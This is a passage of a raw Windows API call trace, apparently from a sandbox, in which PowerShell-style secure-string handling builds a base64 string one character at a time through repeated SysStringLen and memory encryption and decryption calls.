(param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b\x5554\x67dd\x946d\x628f\xba14\x9680\x3c86\xbf5b") returned 0x30 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b\x5554\x67dd\x946d\x628f\xba14\x9680\x3c86\xbf5b") returned 0x30 [0137.982] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.982] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4t5IWBXBk勠ᩙ㰾ꕵ໨") returned 0x30 [0137.982] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b\xe6eb\x1dca\x61e2\xec54\x69e7\x2f1\xf7d9\xa6b2") returned 0x30 [0137.982] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x41f2\x643e\x7338\x6f2f\x7970\xa337\x1ef3\xbbf9\xce04\x15bf\x8273\x6a8e\x55af\xbd73\x6cc1\x4aeb\x495a\x506a\x996c\x53e6\xde99\x28ab\xe08e\x3e3b\xe6eb\x1dca\x61e2\xec54\x69e7\x2f1\xf7d9\xa6b2") returned 0x30 [0137.982] SystemFunction041 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.983] SysStringLen (param_1="Xyvl70tSW62pG/4a/yPAQGVbL7TMkoQ2Vs4t5IWBXBk=ᩙ㰾ꕵ໨") returned 0x30 [0137.983] SystemFunction040 (in: Memory=0x8e3146c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3146c) returned 0x0 [0137.983] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.983] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.983] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.983] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0137.983] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.983] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.983] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.983] SysStringLen (param_1="") returned 0x8 [0137.984] SysStringLen (param_1="Y") returned 0x8 [0137.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.984] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.984] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.984] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.984] SysStringLen (param_1="YW") returned 0x8 [0137.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.984] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.984] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.984] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.984] SysStringLen (param_1="YWM") returned 0x8 [0137.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.984] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.984] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.984] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.984] SysStringLen (param_1="YWM1") returned 0x8 [0137.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.984] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.984] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.984] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.984] SysStringLen (param_1="YWM1O") returned 0x8 [0137.984] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.984] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.984] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.984] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.985] SysStringLen (param_1="YWM1OT") returned 0x8 [0137.985] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.985] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.985] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.985] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.985] SysStringLen (param_1="YWM1OTE") returned 0x8 [0137.985] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.985] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.985] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.985] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.985] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0137.985] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.985] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.985] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.985] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.985] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0137.985] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.985] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0137.985] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.985] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.986] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.986] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.986] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0137.986] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.986] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.986] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.986] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.986] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0137.986] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.986] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.986] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.986] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.986] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0137.986] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.986] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.986] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.986] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.987] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0137.987] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.987] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.987] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.987] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.987] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0137.987] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.987] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.987] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.987] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.987] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0137.988] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.988] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.988] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0137.988] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0137.988] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.988] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0137.988] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.988] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.988] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0137.988] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.988] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.988] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.988] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0137.988] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.989] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0137.989] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.989] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0137.989] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.989] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0137.989] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.989] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0137.989] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.989] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0137.989] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.989] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0137.990] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.990] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0137.990] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.990] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.990] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0137.990] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.990] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.990] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0137.990] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.990] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.990] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0137.990] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.990] SysStringLen 